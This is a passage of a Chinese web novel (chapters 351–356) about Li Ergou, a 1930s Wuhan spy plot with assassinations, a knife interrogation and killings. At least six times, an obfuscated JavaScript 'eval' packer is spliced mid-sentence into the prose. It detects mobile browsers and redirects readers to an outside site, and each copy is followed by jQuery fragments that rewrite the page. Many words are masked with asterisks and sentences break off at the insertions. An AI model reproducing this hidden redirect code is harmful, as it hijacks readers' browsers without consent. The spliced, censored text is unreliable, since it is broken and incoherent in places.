这个蒙面人同样迅速从腰间摸出一把短刀,刺向李二狗。 李二狗闪身的同时,把擀面杖横扫出去。 对方侧身躲开,短刀狠狠地砍在擀面杖身上,“咔嚓”一声,实木杖身被砍出一道深痕。 李二狗不退反进,仗着擀面杖的长度优势左抡右扫,逼得对方连连后退,可受伤的蒙面人已经绕到他身后,一刀划在他胳膊上,剧痛让他动作骤然慢了半拍。 前后夹击下,李二狗节节败退,最后后背狠狠撞在后墙的橱柜上,退无可退。 橱柜上的调料瓶被震得滚落,酱油瓶摔碎在地,黑褐色的液体漫过他的脚踝。 拿短刀的蒙面人步步逼近,刀尖瞬间抵在李二狗胸口,他能看到对方黑布下露出的眼睛里满是杀意,可当昏暗的光线扫过他的脸时,那双眼睛突然凝滞了。 蒙面人愣了几秒,脸上的黑布突然滑落下来。 灯光落在她脸上的瞬间,李二狗的瞳孔骤缩——**竟是宋小曼! 胡家大院三姨太宋小曼,省城一别之后消失得无影无踪。 “小曼?” “二狗?” 宋小曼的声音中带着难以置信的颤抖,刀尖不自觉地垂了下去,她盯着李二狗胳膊上的伤口,又看向地上昏迷的徐青霞,眼神里的震惊混着一丝慌乱。 “怎么会是你……” 李二狗捂着流血的胳膊,看着她熟悉又陌生的脸,心里乱成了一团麻。 他怎么也想不到,刺杀自己的蒙面人,会是那个曾经差一点和自己走在一起的宋小曼。 为首的蒙面人此时已经举起短刀,准备刺向徐青霞的胸口。 “住手!” 李二狗把手中的擀面杖扔了出去,正砸在那个蒙面人的脑袋上。 他踉踉跄跄地后退两步,手中的短刀却依然握在手中。 李二狗冲上去,护在徐青霞身前。 “你们不能杀她!” 蒙面人正要再一次发起攻击,宋小曼在身后喊道:“不要杀他!” 刚才宋小曼和李二狗的一番对话,蒙面人听得清清楚楚。 “我们在执行任务,你要阻拦我,知道是什么后果吗?” 宋小曼当然知道是什么后果,但她绝不能眼睁睁地看着李二狗死在自己面前。 蒙面人说完便举刀刺向李二狗,李二狗捡起脚下的擀面杖便迎了上去。 和受过专业训练的特工比起来,李二狗显然不是对手,很快胳膊和大腿便被刺中两刀倒在地上。 蒙面人没有理会李二狗,径直走向徐青霞。 李二狗见状,猛地抱住他的大腿。 “你……不能杀她!” 宋小曼的心都碎了,什么女人值得他用自己的生命去保护。 “让开!” 蒙面人狠狠地甩出大腿,李二狗却抱得更紧了。 “你找死!” 说着便要举刀刺向李二狗。 “住手!”宋小曼从身**住他的手腕,“你不能杀他!” “他们都是**反对派的狗特务,对他们的仁慈就是对同志们的残忍,你要明白你的身份!” 可宋小曼的手紧紧地握住他的手腕。 “他不是****派!” “你怎么知道他不是?” 宋小曼坚定地说道:“我可以保证他不是**,我绝不允许你杀他!” 蒙面人不想和宋小曼争辩下去,他们的目标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190205|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 是徐青霞,杀不杀李二狗并不重要。 “好,我答应不杀他,你快松手,我要杀了她,再晚就来不及了。” 宋小曼松开手,可李二狗却紧紧地抱着蒙面人的大腿不松手。 蒙面人挣脱了几次都没有挣脱,狠狠地威胁道:“再不松手,别怪我不客气了!” “二狗,你快松手啊!”宋小曼带着哭腔劝道。 “你们……不能杀她……” 宋小曼歇斯底里地喊道:“她到底是你什么人?你竟这般维护她?” “我绝不允许……你们杀她!” 李二狗眼神已经有些眯瞪,但抱着蒙面人的手却如铁箍一样紧。 这时徐青霞苏醒过来,她看到李二狗抱着蒙面人的大腿,身上的伤口正咕咕冒着鲜血。 “二……狗……” 这时,外面传来了一阵警笛声。 “你快去杀了她!否则就来不及了!”蒙面人对宋小曼命令道。 “快啊!杀了她!” 宋小曼接过蒙面人手里的短刀,走向徐青霞,李二狗突然抱住了宋小曼的大腿。 “你不能……杀她!” “杀了她!” 蒙面**喝一声,一脚踢向李二狗。 李二狗的身体腾空而起,狠狠地砸在案板上。 “二……狗……” 徐青霞挣扎了几次都没有站起身来,这时,她突然发现地上有一把**。 她捡起**,对着蒙面人和宋小曼就是“砰砰”几枪。 蒙面人闪转腾挪之后躲到一个橱柜后面,宋小曼则被击中了胳膊。 徐青霞准备再次射向宋小曼时,李二狗飞身扑了出去,用身体挡在了宋小曼身前。 **射中李二狗的背部,他口吐鲜血趴在了宋小曼的身上。 “二狗!” 宋小曼和徐青霞几乎同时喊了出来。 “小曼……你……快走!” 李二狗用尽全身力气转过身,挡在宋小曼身前,对举枪的徐青霞说道:“放他们走!” “你让开!” “放……他们走!” 警笛声越来越近,李二狗突然抢过宋小曼手里的短刀放在自己的脖子上。 第352章 徐青霞去了哪里 “放……他们走!”李二狗哀求道。 徐青霞尚在犹豫之际,李二狗手里的短刀已经划破了自己的脖子,鲜血从他的脖子上“滴答滴答”滴落到地上。 徐青霞见状只能无奈地垂下手臂,她不明白,李二狗和这个女**到底是什么关系?为何会不惜丢掉自己的性命也要救她。 李二狗一直用手里的**抵在自己的脖子上,他转身大喊道:“你快走啊!” 宋小曼深情凝视着李二狗,这个令她日思夜想的男人,没想到他们会在这种情境下相遇。 “二狗……” 警笛声越来越近,李二狗见状,上前猛地推了一把宋小曼。 “快走啊!” 蒙面人见宋小曼已经暴露,这对他们来说无疑是致命的! 可徐青霞手里有枪,警笛声已清晰可闻,如果再僵持下去,后果不堪设想。 他拽起宋小曼,快步朝门外跑去。 宋小曼出门的瞬间又回望了一眼李二狗,那眼神里充满不舍、不解和不甘。 “小……曼……” 李二狗向着门口挪动了两步,突然眼睛一闭,昏倒在地上。 等他再次醒来的时候,已经躺在医院的一张病床上。 他看了看四周,除了洁白的墙壁,空无一人。 刚想起身,伤口处立即传来一阵撕心裂肺的疼痛。 他倒吸一口凉气,此时他非常想找一个人问问,自己这是在哪里?徐青霞在哪里?宋小曼又在哪里? 正当李二狗胡思乱想之际,一个女护士推门走了进来。 “你可算醒了,你已经昏迷了一天一夜。” “护士小姐,我……我这是在哪里?” 护士用手摸了摸李二狗的额头,在手中的记录本上记录下来,然后才说道:“这里是武汉基督医院。” 武汉基督医院?这对李二狗来说是一个陌生的名字,他只记得自己昏倒在法兰西餐厅的后厨,之后的情况他一无所知。 “谁送我来的?你有没有见到一个和我一起的女人?她现在怎么样?” 护士摇了摇头,说道:“送你来医院的是两个男人,他们把你放下之后就离开了。” 男人? 怎么会是男人? 那徐青霞去了哪里? 她不可能不管自己! “护士小姐,你真的没有看见一个女人吗?很漂亮的女人,她也受了伤。” 护士坚定地摇了摇头,都这时候了心里还想着漂亮女人,要不是因为他长得帅,自己都不愿意再搭理他。 “没见过,你还是安心养伤吧,待会儿医生会来查房,你有什么不舒服的地方可以告诉医生。” 护士说完就端着一个托盘走了出去。 此时的李二狗脑子里全是徐青霞。 她受了伤,怎么会不在医院里呢? 难道是遇到了什么危险? 一想到徐青霞遇到危险,李二狗顾不得身上的疼痛,挣扎着从病床上爬了起来,痛得他龇牙咧嘴。 缓了好一会儿,他才扶着墙一瘸一拐地来到护士站。 护士见到李二狗,大吃一惊,立即埋怨道:“你怎么起来了?你这样走动,你身上的伤口会裂开的!赶紧回病房躺着,我给你检查一下伤口。” 李二狗额头上的汗岑岑落下,他忍着剧痛,问道:“护士小姐,麻烦你帮我查一下有没有一个女病人?” 护士上前扶住李二狗,说道:“我们医院少说也有上百个女病人,你到底要找哪一个女病人?” “她叫徐青霞,麻烦你帮我查一下,谢谢你。” 护士没有办法,只好扶着李二狗坐到旁边的一张木椅上。 “你先在这里坐好,我去给你查一下病人登记簿。” 护士翻看了一遍病人登记簿,并没有发现徐青霞的名字。 “这里面没有她的名字。” 李二狗怎肯轻易罢休,他哀求道:“护士小姐,请你再仔细查一遍,真的没有徐青霞的名字吗?她对我很重要,麻烦你帮我再查一次。” 护士只好再次翻看了一遍病人登记簿,确实没有徐青霞的名字。 “真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195284|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的没有!她可能没住在我们医院,你还是先回病房吧。” “她在哪?她在哪?”李二狗嘴里一直念叨着。 从宋小曼一系列的行为分析,他们刺杀的目标肯定是徐青霞而不是自己。 宋小曼是地下党,那徐青霞的身份只有两种可能,日本人或者**。 李二狗接触过日本女人,对她们的言谈举止有着深入的了解,徐青霞端庄性感、大气洒脱,肯定不是日本女人,那就只剩下一种可能,她是**。 对于**,李二狗并没有太深的了解,但他却认识不少是**的人。 吴有德、夏瀚林、孙竹刚,甚至王正直、梁有为、熊顶天都是**。 他们中间有好人,也有坏人,和自己身边那些普普通通的人并没有什么本质区别,只不过他们身居高位,手中掌握着一定的权力。 不过想到徐青霞是**,李二狗还是感觉到一丝意外。 更令李二狗感到意外的是宋小曼为何要刺杀徐青霞,或者说地下党为什么要刺杀徐青霞?她只过是一名刚毕业的大学生而已。 一想到这些,李二狗便头痛欲裂,很快又沉沉睡去。 其实不是徐青霞对李二狗不管不顾,而是她身不由己。 那天警察赶到现场,得知徐青霞的身份之后,不敢怠慢,马上报告给力行社湖北站。 力行社湖北站站长马有才立刻安排行动队赶赴现场。 徐青霞虽然刚刚大学毕业,但她是清华大学电讯专业的天才,在校期间已经帮助**特务组织力行社破译众多有价值的情报,深受力行社高层青睐。 这次之所以把她分配到力行社湖北站,完全是因为湖北地处剿共一线,这里特别需要徐青霞这样的电讯天才。 这也正是地下党要刺杀徐青霞的原因,徐青霞的存在对根据地是一个巨大的威胁。 力行社湖北站行动队队长宋**是一个资深特务,他赶到现场后立即明白了是怎么回事。 徐青霞正坐在地上,抱着昏迷中的李二狗。 第353章 二狗,你还好吗 “小徐,你必须马上跟我回站里。” 徐青霞目光呆滞,她没想到自己刚到武汉就被敌人刺杀,更连累李二狗受伤,这是她一个初入社会的女孩子接受不了的。 这时,救护车赶到了。 没有宋**的命令,医护人员站在门口不敢进入。 “我要送他去医院。”徐青霞自言自语道。 “小徐,你现在的处境非常危险,必须马上跟我回站里。” “我要送他去医院。” 徐青霞用尽全身力气也没有抱动李二狗。 宋**一挥手,两名医护人员抬着担架进入后厨,把李二狗抬上担架。 徐青霞要跟着出去,被宋**一把拉住了。 她冲着宋**怒吼道:“放开我,我要送他去医院。” 被激怒的宋**甩手给了她一记响亮的耳光。 “你冷静一点!你想害死他吗?” 癫狂中的徐青霞被宋**这一巴掌打得清醒过来。 凶手要杀的人是她,她和李二狗在一起确实会连累他。 徐青霞“扑通”一声跪在地上,哀求道:“宋队长,求求你一定派人照顾好他,他是为了救我才受伤的。” “你放心吧,我会安排人去医院处理好他的事情,你也受伤了,赶紧跟我回站里包扎一下伤口,站长在等你。” 徐青霞力行社的身份对外是严格保密的,如果李二狗知道的太多,这个人肯定不能留。 但这件事,宋**不敢擅自做主,必须得回去请示站长马有才之后才能做决定。 马有才得知事情的经过之后,立即做出决定,没有他的批准,徐青霞不许擅自外出。 经过再三和徐青霞核实,确定李二狗确实不知道徐青霞的身份。 不过他最终还是决定除掉李二狗,以绝后患。 宋**派出两名力行社的特务二十四小时潜伏在武汉基督医院附近。 由于武汉基督医院是美国人开办的,力行社为了避免落人口实,引起国际**,准备等李二狗出院后再对他下手。 躺在医院病床上的李二狗对此一无所知,他脑子里全是徐青霞和宋小曼。 一个月黑风高的深夜,李二狗正躺在病床上胡思乱想,病房的门被轻轻地推开了。 “谁?” 来人并没有答话,径直走到病床前,原来是一个戴着口罩的护士。 一般这个时间点,护士没有特殊事情,是不会到病房打扰病人休息的。 “护士小姐,你有什么事吗?”李二狗疑惑地问道。 护士站在床前依然没有说话,只是静静地看着李二狗。 月光透过窗子照射到她的脸上,虽然她戴着口罩,但李二狗还是第一时间认出来人是宋小曼。 他激动地坐起来,一把握住她的手,吓得宋小曼后退两步。 “小曼,是你吗?” 宋小曼也没想到自己戴着口罩,李二狗竟能在昏暗的房间里一眼认出自己,她本来只是想看看李二狗就走。 一串晶莹的泪花滑落脸颊,宋小曼缓缓摘下口罩,正是李二狗无数个日日夜夜思念的脸庞。 “二狗,你还好吗?” 李二狗紧紧地握住她的手,生怕一松手她就会立刻消失在自己面前。 “小曼,你还好吗?” 由于宋小曼在执行任务中不仅暴露了自己,还出现重大失误,组织已经决定让她离开武汉,前往鄂豫皖根据地。 这是临行前的最后一夜,宋小曼不顾违反组织纪律的风险,来见李二狗。 不见他一面,她走得不会安心。 “你和那个女人到底是什么关系?”宋小曼问出了自己最想知道的问题。 李二狗分明在宋小曼的眼神里读出了醋意。 “我和她只是萍水相逢,”李二狗刻意淡化自己对徐青霞的感情,怕宋小曼不相信,又补充道:“她救过我的性命。” 宋小曼对李二狗的话将信将疑,李二狗可以为了她不顾自己的性命,这样的情感岂是萍水相逢能做到的! “真的?”宋小曼还是忍不住发出了疑问。 “当然是真的,我昨天才刚到武汉,”李二狗转而问道:“你们为什么要刺杀一个刚毕业的女大学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195285|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 生?这好像不符合你们组织的原则吧?” 宋小曼盯着李二狗的眼睛,李二狗没有躲闪,显得很真诚。 “你真的不知道她的身份?” 李二狗通过自己的分析,已经得出徐青霞是**的结论。 但这并不能作为刺杀她的理由。 “她的身份?她什么身份?” “她是**力行社的特务。” “力行社?”李二狗第一次听到力行社这个名字,“力行社是做什么的?” 宋小曼这时已经确信李二狗确实不知道徐青霞的**。 “力行社是**的**,他们在根据地实行残酷的‘三杀’目标,残忍杀害根据地的党团员与进步群众,他们的口号是房烧尽,树伐完,禽畜屠干净,不能见炊烟。” 李二狗瞠目结舌,没想到力行社竟如此残忍,更没想到徐青霞是力行社的特务。 “‘三杀’是什么?” “一杀党二杀团,积极分子全杀完,他们奉行的宗旨是宁可错杀一千,不可放过一个。” 李二狗实在无法想象,冰清玉洁的徐青霞会是这样残忍的特务。 “徐青霞真是力行社的特务?她只是一名大学刚毕业的学生啊。” 宋小曼有些心痛,因为李二狗心心念念的都是徐青霞。 “她比那些直接**的特务造成的危害更大。” 李二狗完全懵逼了,一个弱女子能造成多大的危害?他着实想不明白。 “她是电讯方面的天才,破获了很多我党我军的情报,造成我们很多同志死在他们的屠刀之下。” 说到此处,宋小曼自责不已。 因为自己的原因,没有除掉徐青霞,很多同志可能会因为自己的这次失误而丢掉性命。 “你们一定要除掉她吗?” 宋小曼说道:“她必须得死!” 李二狗沉默了,半晌之后,还是说道:“小曼,有件事我想求你帮帮忙。” 宋小曼心知肚明,说道:“二狗,还没来得及告诉你一件事,组织已经决定把我调离武汉,明天一早我就要离开了。” 第354章 暗杀李二狗 没想到刚刚见面就要分别,李二狗忍不住伸手抚摸着宋小曼的脸颊,宋小曼并没有躲闪。 “可以不走吗?” “不可以。” “都怪我,害你受处分。” “二狗,不要这样说,如果再让我重新选择一次,我还是会做出同样的选择。” 两人四目相对,很快便碰撞出激情的火花,两人忍不住吻了起来…… 半个时辰之后,宋小曼整理了一下衣服,恋恋不舍地说道:“二狗,我要走了,等你养好了伤,还是赶紧离开这里回家吧。” 宋小曼已经告诉李二狗,她要离开武汉前往鄂豫皖根据地。 本来李二狗到武汉的目的就是为了去鄂豫皖根据地,但现在听宋小曼说地下党还要继续刺杀徐青霞,他便改变了主意。 他要留下来救徐青霞,所以他并没有告诉宋小曼自己也要前往鄂豫皖根据地。 “小曼,你还会回江东吗?” 宋小曼有些伤感地说道:“我回江东干什么?那里已经没有能让我牵挂的东西。” 未等李二狗说话,宋小曼接着说道:“你是我唯一的牵挂。” 李二狗默默无语,惟有泪千行。 两人又抱了一会儿,宋小曼起身说道:“我得回去了,你保重身体。” “你去鄂豫皖根据地的什么地方?”李二狗突然问道。 宋小曼微微一怔,她以为李二狗只是在关心自己,并没有多想。 但她的去向是组织秘密,她不能随意告诉李二狗。 “我自己都不知道要去哪里,这是我们组织的纪律。二狗,有缘我们自会相见。” 两人又拥抱了一会儿,宋小曼才三步一回头地走了出去。 宋小曼从医院出来时,发现在医院门前的一个胡同口,有两个人行踪十分可疑。 凭她的直觉判断,这两个人肯定是**特务。 宋小曼装作刚下班的护士,径直走过他们,发现在他们脚下有一地的烟头,很显然,他们已经在这里待了很久。 其中一个年轻的特务盯着宋小曼丰满的屁股,吹了一个响亮的口哨。 宋小曼根本没有回头,走过拐角之后,她迅速爬上一棵大树,然后翻身上了房顶,从房顶绕到那两个特务的头顶。 “二哥,这可真不是人干的活,这大半夜的咱们有必要在这里待着吗?”其中一个年轻的特务抱怨道。 “哎,你以为我愿意待在这里吗?可站长下得是死命令,如果那个人失踪了,咱们吃不了兜着走。” “谁会大半夜的出院?二哥,你这未免太小心了一些。” “他是外地人,这可说不准,万一要是因为什么原因走了,咱们兄弟回去怎么交待?站里的规矩你懂得!” “他要是在医院住上十天半个月,难道咱哥俩就在这里守十天半个月吗?” “这个问题我还真没考虑过,明天得和宋队长说一说,不能老让咱们兄弟俩在这守着。” “我看不如咱们偷偷进去……” 年轻的特务特意向四周瞅了瞅,然后才做了一个用刀抹脖子的动作。 “宋队长特意交代不能在医院动手,这是美国人开得医院,出了问题咱们谁也担待不起。” “狗屁美国人,这是咱们中国的地盘,怕他美国人干什么?再说咱们哥俩杀一个病人能出什么意外?” 年长的特务考虑了半天还是难以下定决心。 “二哥,你要不敢去,我自己去。” “谁**不敢去?我只是担心宋队长会怪罪下来。” “宋队长这人我了解,只要咱们做的干净利落,宋队长不会怪罪咱们的。” “好,那咱们就进去宰了他,省得在这里受罪!” 两个人扔掉香烟,直接进了医院。 从他们两人的描述分析,他们要刺杀的对象十有**就是李二狗。 想到这,宋小曼直接从屋顶跳了下去,然后快步跑向医院。 两个特务害怕被任发现,一路走走停停,等他们进入住院楼时,宋小曼已经进入了李二狗的病房。 “小曼,你怎么又回来了?”李二狗见到宋小曼又惊又喜。<b ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199603|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' r>宋小曼捂住李二狗的嘴,轻声说道:“小点声,外边有人要刺杀你。” 李二狗难以置信地睁大了双眼。 “谁要杀我?” “力行社的特务。” 李二狗突然觉得自己的心像被千万根钢针在扎,徐青霞怎么会刺杀自己?! 正在这时,门外已经传来轻微的脚步声。 “他就在这间病房,白天我来看过。” “小四,你进去解决了他,我在外边守着,记住,不到万不得已,千万不要动枪。” “放心吧。” 年轻的特务从腰间掏出一把**握在手中,然后轻轻地推开了病房的门。 他看见李二狗正躺在病床上,还有轻微的鼾声传来。 年轻的特务露出一丝得意的笑容,他蹑手蹑脚地来到病床前,慢慢举起了手中的**。 突然,他的嘴巴被人从身后捂住,然后一把锋利的**轻轻地划过他的喉咙,猩红的鲜血喷射而出,溅了一床单。 李二狗轻声下床,和宋小曼一起把这个已经断气的特务抬到床上,盖上床单,然后两人蹑手蹑脚地躲到门后,等待着门外的特务进来。 年长的特务等了半天,里面一直没有动静,突然他闻到一股浓郁的血腥味。 他赶紧从腰里掏出**握在手里,走进了病房。 床上模模糊糊地躺着一个人,特务把枪对准了病床,准备随时射击。 突然,一把尖刀抵在他的腰间。 李二狗威胁道:“动一动,我一刀宰了你。” 宋小曼顺势把特务手中的枪卸了下来,同时关上了病房的门。 “说,你们是什么人?” 特务梗着头不说话,他没想到自己作为力行社的王牌特务,竟这么轻易就被敌人制服了。 他不甘心! 李二狗对付这种嘴硬之人很有心得,绝不多说一句废话。 他捂住特务的嘴,一刀插入他的大腿里。 血流如注! 特务痛得龇牙咧嘴,想大声喊叫,却被李二狗顶在墙上紧紧地捂住口鼻。 第355章 爱是最好的止疼剂 李二狗担心时间一长会暴露,便警告道:“你如果再不说,我直接把这把**插入你的胸口,我说到做到!我再给你最后一次机会,说,你们到底是什么人?” 特务终于还是忍不住疼痛,他不停地点着头,表示要回答李二狗的问话。 “不许出声,不然我立马宰了你!” 特务嘴里“呜呜”地答应着,不停地点着头。 李二狗松开手,特务痛得不停地唏嘘着。 “快说。” “我们是力行社湖北站的,奉站长之命来除掉你。” 李二狗心里长舒一口气,他们并不是徐青霞派来的,也许徐青霞并不知情。 “你们为什么要杀我?我根本不认识你们。” 特务稍有犹豫,李二狗已经把**抵在他的脖子上。 “我说,我说,因为你认识徐青霞,站长怕暴露她的身份,所以要除掉你,以绝后患。” 李二狗失声说道:“我根本就不知道她的身份,她难道没有和你们说吗?” “说了,可我们站长说……” “说什么?” “他说宁可错杀三千,不能放过一个。” 李二狗没想到力行社的特务行事如此歹毒,徐青霞只是一名刚毕业的女大学生,要是在这种地方待久了,会不会也变得和他们一样? 李二狗不敢想,但又不能不想。 地下党发誓要除掉她,力行社要把她变成**魔鬼,徐青霞的命运好像已经不掌握在自己手中。 李二狗不能坐视不管,他要把她救出魔窟。 “你们力行社在什么地方?” 特务惊恐地睁大了双眼,难道这个人想报复他们力行社不成? 真是叭狗子咬月亮——不知天高地厚。 “在江汉路110号。” 正在这时,外边传来一阵脚步声。 特务见状,刚要大声叫喊出来,便被李二狗捂住了嘴。 特务嘴里“呜呜”地挣扎着,双腿蹬地的声音在寂静的夜里显得格外响亮。 李二狗只好违背自己的原则,一刀捅进了特务的胸膛。 “你……” 李二狗叹息一声,呢喃道:“对不起,只能怪你命不好!” 李二狗把特务的尸体拖到墙角,和宋小曼一起躲在门后,一直到脚步声远去,两人才松了一口气。 “谢谢你,小曼,不然我今天就死在他们手里了。” “这里不是说话的时候,我们得赶紧离开这里。” 宋小曼说完,便悄悄打开病房的门向外边瞅了瞅。 “趁着没人,我们走。” 两人快步离开了医院。 李二狗身上的伤势还未痊愈,走了一段路,速度便明显慢了下来,双手扶墙,大口大口地喘着粗气。 “二狗,我扶你走。” 让一个女人搀扶,这不符合李二狗的行事风格。 “不用,我自己能走。” 宋小曼看到李二狗身上的伤口处洇出了血。 “别逞强了,你的伤口都流血了。” 宋小曼不由分说,让李二狗把胳膊搭在自己肩膀上,两人蹒跚前行。 两个特务死在李二狗的病房里,不管他们是因为什么原因死在里面,李二狗都摆脱不了干系,更何况死的是力行社的特务,力行社和警察局都不会放过李二狗。 此时偌大的武汉城,已经没有了李二狗的容身之处。 宋小曼只能违反纪律,把李二狗带到自己家中。 房子不大,是一室一厅的楼房。 宋小曼把屋子收拾的很温馨,空气中还带有一丝茉莉花香的气息。 她从柜子里拿出一个小药箱,里面有一些备用药品。 “你去床上躺好,我检查一下你的伤口。” 李二狗看了一眼她的闺床,天蓝色的被褥上散发出一股阳光的味道,他实在不忍心弄脏它们。 “就在这吧。” 李二狗指了指旁边的一把椅子,然后忍着剧痛坐了下去。 宋小曼当然明白李二狗的意思,她知道他的倔强,便不再勉强。 “你忍着点。” 宋小曼俯身为李二狗拆掉绷带,涂上药膏,又重新用绷带包扎好。 伤口处血迹斑斑,但李二狗全程没有发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 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宋小曼知道自己天亮就要离开,此时唯一能做的事就是和李二狗把爱做够。 第356章 李二狗跟踪宋小曼 李二狗早上在床上醒来时,发现宋小曼并不在自己身边,室外传来一阵窸窸窣窣的响声。 他翻身下床,伤口的疼痛已经减轻了许多,果然爱情的力量是无穷的。 从卧室走出来,他看到宋小曼正在收拾行李,这时他才想起,宋小曼今天就要离开武汉前往鄂豫皖根据地。 一股刚刚相遇又要分离的伤感顿时涌上心头。 “小曼,一定要走吗?” 宋小曼停下手上的动作却没有转身,她呆立原处,显然内心也不愿和李二狗这么快就分离。 “组织已经决定,九点钟我就要到集合点与他们汇合,然后离开武汉。” 这时,李二狗已经踱到宋小曼身后,他从后面抱住宋小曼的腰肢。 “小曼,我不想让你走。” 宋小曼慢慢地闭上眼睛,她又何尝想离开李二狗。 “二狗,对不起。” “不要说对不起,该说对不起的人是我,如果不是我,你也不用离开武汉。” 宋小曼转过头,和李二狗亲吻在一起。 正在这时,突然响起一阵敲门声。 三长两短! 这是宋小曼和自己人约定的敲门暗号! 宋小曼不明白,已经约好了汇合地点,为何现在又有人来到自己家中。 如果让他们看到李二狗在自己家中,宋小曼无法向组织交代。 但她又不能不开门,现在是早上六点钟,她不能不在自己家中。 宋小曼愣神之际,紧接着又是一阵三长两短的敲门声。 李二狗瞅了瞅宋小曼,问道:“有情况?” 宋小曼摇了摇头,说道:“是我们的人,但按照我们的组织纪律,我不应该把你带到这里来。” 李二狗正想见见宋小曼口里的组织到底是些什么人。 他故意问道:“这里就这么点的地方,我躲到床底下?” 宋小曼心想,如果躲起来再被发现,自己就是有一万张嘴也解释不清。 看宋小曼还在犹豫,李二狗安慰道:“没事,你去开门,我来说。” 宋小曼惊讶地看着李二狗,不知道他葫芦里到底卖的什么药。 “你可不要乱来呀。” 李二狗捏了捏她粉嘟嘟的小脸,安慰道:“放心,我知道该怎么说。” 宋小曼半信半疑地去打开房门,一个男人说道:“小曼,你怎么这么久才开门?” 来人叫黄一博,也是一名地下党员。 他一直暗恋宋小曼,这次也是因为他执意要求,组织才同意他过来帮宋小曼收拾行李。 这时,李二狗突然出现在宋小曼身后,吓了黄一博一跳。 万万没想到,宋小曼的房间里竟然有一个男人,这可是清晨,黄一博作为男人,当然知道这意味着什么! “你……” 李二狗越过宋小曼,微笑着伸出手,自我介绍道:“你好,我是小曼的远房表哥李二狗,请问兄弟怎么称呼?” 宋小曼差点笑出声来,她憋着笑介绍道:“这位是我的同事黄一博。” 黄一博作为一名经验丰富的地下党员,他当然不会相信李二狗的说辞。 什么狗屁表哥,明明是相好! 他努力让自己保持冷静,微笑道:“你好,李先生。” 不过他并没有握住李二狗伸过来的手,算是表达着自己的不满。 李二狗并没有因为黄一博的无礼而恼怒,他依然保持着微笑,很多女人就喜欢李二狗的这副装逼范。 宋小曼不想气氛太尴尬,便问道:“一博,你怎么来了?” 当着李二狗的面,黄一博不便直说,便含糊地说道:“刘经理让我来帮你拿行李,你都收拾好了吗?” “差不多了,”宋小曼知道黄一博不相信李二狗的话,便刻意说道:“我表哥知道我要离开武汉,所以一大早赶来帮我收拾行李。” 宋小曼的解释显然不能让黄一博相信,因为房子是组织给租的,在未经组织同意之前,绝不能让组织以外的人知晓,这是一条铁的纪律。 更何况,他以前根本没听宋小曼说过她在武汉还有一个表哥。 “一博,麻烦你先到楼下等我好吗?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208386|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 有些事情还要和我表哥交代一下。” 黄一博看了一眼李二狗,此人身材伟岸、仪表堂堂,正是妙龄少女喜欢的那类男人,也许他真的是宋小曼的相好。 这个宋小曼,真是胆大妄为,擅自谈恋爱竟然不向组织报备,自己回去一定要向他们的上级刘东**报告。 “那你快一点,他们还在等着我们。”黄一博说完只能不情愿地走了出去。 黄一博出去之后,李二狗直接把房门关的震天响。 